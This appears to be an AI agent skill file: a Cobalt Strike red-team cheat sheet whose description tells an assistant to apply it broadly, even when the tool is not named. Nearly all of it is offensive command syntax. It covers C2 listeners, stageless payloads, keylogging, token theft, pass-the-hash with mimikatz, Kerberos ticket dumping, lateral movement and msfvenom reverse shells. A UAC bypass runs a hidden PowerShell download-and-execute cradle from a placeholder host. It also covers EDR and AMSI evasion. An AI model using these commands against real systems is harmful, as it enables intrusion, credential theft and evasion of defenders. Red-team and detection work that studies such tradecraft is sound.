| name | cobalt-strike |
| description | Cobalt Strike red team operations guide. Use this skill whenever the user mentions Cobalt Strike, C2 infrastructure, beacon operations, post-exploitation, lateral movement, Windows/Linux penetration testing, or adversary emulation. This covers listeners, payloads, beacon commands, opsec considerations, evasion techniques, and custom implants. Make sure to use this skill for any Cobalt Strike related tasks, even if the user doesn't explicitly name it. |
Cobalt Strike Operations
A comprehensive guide for Cobalt Strike red team operations, covering C2 setup, payload generation, beacon management, lateral movement, and operational security.
C2 Listeners
Standard C2 Listeners
Configure listeners to establish command and control channels:
- Navigate to
Listeners -> Add/Edit
- Select the communication protocol (HTTP, DNS, SMB, etc.)
- Configure the beacon type and connection parameters
- Set appropriate network interfaces and ports
Peer-to-Peer Listeners
P2P listeners allow beacons to communicate through other beacons rather than directly to C2:
TCP Beacon:
- Sets a listener on the selected port
- Connect from another beacon:
connect <ip> <port>
SMB Beacon:
- Listens on a named pipe
- Connect from another beacon:
link [target] [pipe]
Payload Generation
Generate Payloads in Files
Access Attacks -> Packages to create various payload types:
| Payload Type | Use Case | Notes |
|---|
| HTMLApplication | HTA files | Browser-based delivery |
| MS Office Macro | Office documents | Requires macro execution |
| Windows Executable | .exe, .dll, service | Standard staged payload |
| Windows Executable (S) | Stageless .exe, .dll | Preferred - fewer IoCs |
Recommendation: Use stageless payloads when possible. They don't download a second stage from C2, reducing network-based detection.
Scripted Web Delivery
For web-based payload delivery:
- Navigate to
Attacks -> Web Drive-by -> Scripted Web Delivery (S)
- Select output format: bitsadmin, exe, powershell, or python
- Configure the listener and hosting parameters
Host Existing Files
To host pre-existing payloads:
- Navigate to
Attacks -> Web Drive-by -> Host File
- Select the file to host
- Configure web server settings
Beacon Operations
Process Execution
execute-assembly </path/to/executable.exe>
spawnas [domain\username] [password] [listener]
Reconnaissance
printscreen
screenshot
screenwatch
keylogger [pid] [x86|x64]
portscan [targets] [ports] [arp|icmp|none] [max connections]
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections]
PowerShell Operations
powershell-import C:\path\to\PowerView.ps1
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <command>
powerpick <cmdlet> <args>
powerpick Invoke-PrivescAudit | fl
psinject <pid> <arch> <commandlet> <arguments>
Token Operations
make_token [DOMAIN\user] [password]
steal_token [pid]
token-store steal <pid>
token-store steal-and-use <pid>
token-store show
token-store use <id>
token-store remove <id>
token-store remove-all
UAC Bypass
elevate svc-exe <listener>
elevate uac-token-duplication <listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<ip>:<port>/b'))"
Process Injection
inject [pid] [x64|x86] [listener]
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
steal_token <pid>
Kerberos Operations
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
make_token <domain>\<username> DummyPass
kerberos_ticket_use C:\path\to\ticket.kirbi
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
steal_token <pid>
execute-assembly C:\path\Rubeus.exe triage
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[base64-ticket]
steal_token <pid>
Lateral Movement
Jump Command
jump [method] [target] [listener]
Available methods:
| Method | Architecture | Description |
|---|
| psexec | x86 | Service EXE artifact via SCM |
| psexec64 | x64 | Service EXE artifact via SCM |
| psexec_psh | x86 | PowerShell one-liner via service |
| winrm | x86 | PowerShell via WinRM |
| winrm64 | x64 | PowerShell via WinRM |
| wmi_msbuild | x64 | Preferred - WMI with msbuild inline C# (opsec) |
Recommendation: Use wmi_msbuild for better operational security.
Remote Execution
remote-exec [method] [target] [command]
Methods: psexec, winrm, wmi
WMI Beacon Execution
upload C:\Payloads\beacon-smb.exe
remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
Metasploit Integration
Pass Session to Metasploit (Listener)
On Metasploit host:
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_http
msf6 > set LHOST <ip>
msf6 > set LPORT <port>
msf6 > exploit -j
On Cobalt Strike:
- Listeners -> Add, set Payload to Foreign HTTP
- Configure Host and Port
- In beacon:
spawn metasploit
Pass Session to Metasploit (Shellcode)
On Metasploit host:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
On Cobalt Strike:
shinject <pid> x64 C:\Payloads\msf.bin
Pass Metasploit Session to Cobalt Strike
- Generate stageless beacon shellcode:
Attacks -> Packages -> Windows Executable (S)
- Select listener, Raw output, x64 payload
- In Metasploit:
post/windows/manage/shellcode_inject
Pivoting
SOCKS Proxy
socks 1080
SSH Connection
ssh 10.10.17.12:22 username password
Operational Security
Execute-Assembly Alternatives
The execute-assembly command uses remote process injection, which is noisy. Consider alternatives:
Use the HelpColor aggressor script to identify command risk levels:
- Green: BOFs (stealthy)
- Yellow: Fork & Run
- Red: Process execution/injection (noisy)
Process Parentage
Maintain legitimate parent-child relationships to avoid detection:
spawnto x86 svchost.exe
spawnto x64 svchost.exe
Configure in malleable profile with spawnto_x86 and spawnto_x64.
Malleable C2 Profile Customization
Modify these settings to reduce detection:
# Avoid default pipe names (msagent_####, status_####)
set pipename "<custom_name>";
set ssh_pipename "<custom_name>";
# Process injection behavior
process-inject {
# Configure injection APIs
}
# Post-exploitation behavior
post-ex {
# Configure fork and run
}
# Memory and network
stage {
# Memory footprint, DLL content
}
# Sleep configuration
sleep {
# Sleep time, mask function
}
Function Hook Bypass
EDRs use function hooking for detection. Bypass options:
syscall-method None
syscall-method Direct
syscall-method Indirect
Additional tools:
AV/AMSI Bypass
Artifact Kit
- Locate templates:
/opt/cobaltstrike/artifact-kit/src-common
- Test with ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
- Modify detected strings in source code
- Rebuild:
./build.sh
- Copy to client:
dist-pipe/ -> C:\Tools\cobaltstrike\ArtifactKit
- Load aggressor script:
dist-pipe\artifact.cna
Resource Kit
- Locate templates:
C:\Tools\cobaltstrike\ResourceKit
- Test with ThreatCheck:
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
- Modify detected lines
- Load aggressor script:
ResourceKit\resources.cna
Event Monitoring
Check these events to understand the environment:
| Event ID | Description |
|---|
| 4624 | Account logon (check Logon Type 9 for make_token) |
| 4625 | Failed logon attempts |
| 4648 | Explicit credentials used |
| 12, 13 | System shutdown/startup/sleep |
Use Seatbelt for reconnaissance:
execute-assembly C:\path\Seatbelt.exe -group=system
execute-assembly C:\path\Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents
Guardrails
Configure Guardrails to prevent risky commands:
Kerberos Encryption
Use AES encryption instead of RC4 for Kerberos tickets:
execute-assembly C:\path\Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<key>
RC4 is less secure and may trigger detection in modern environments.
Custom Implants
Linux Beacons
Custom Linux beacons require:
- HTTP/S Protocol: Implement Cobalt Strike Team Server protocol
- Malleable Profile: Match URIs, headers, metadata crypto
- Task Handlers: Implement expected task IDs:
sleep, cd, pwd, shell, ls, upload, download, exit
- BOF Support: Use ELFLoader for modular execution: https://github.com/trustedsec/ELFLoader
- SOCKS Handler: Implement
socks <port> for pivoting
Aggressor Scripts
Create .cna scripts to wrap payload generation for custom beacons, allowing operators to select listeners and produce ELF payloads from the GUI.
References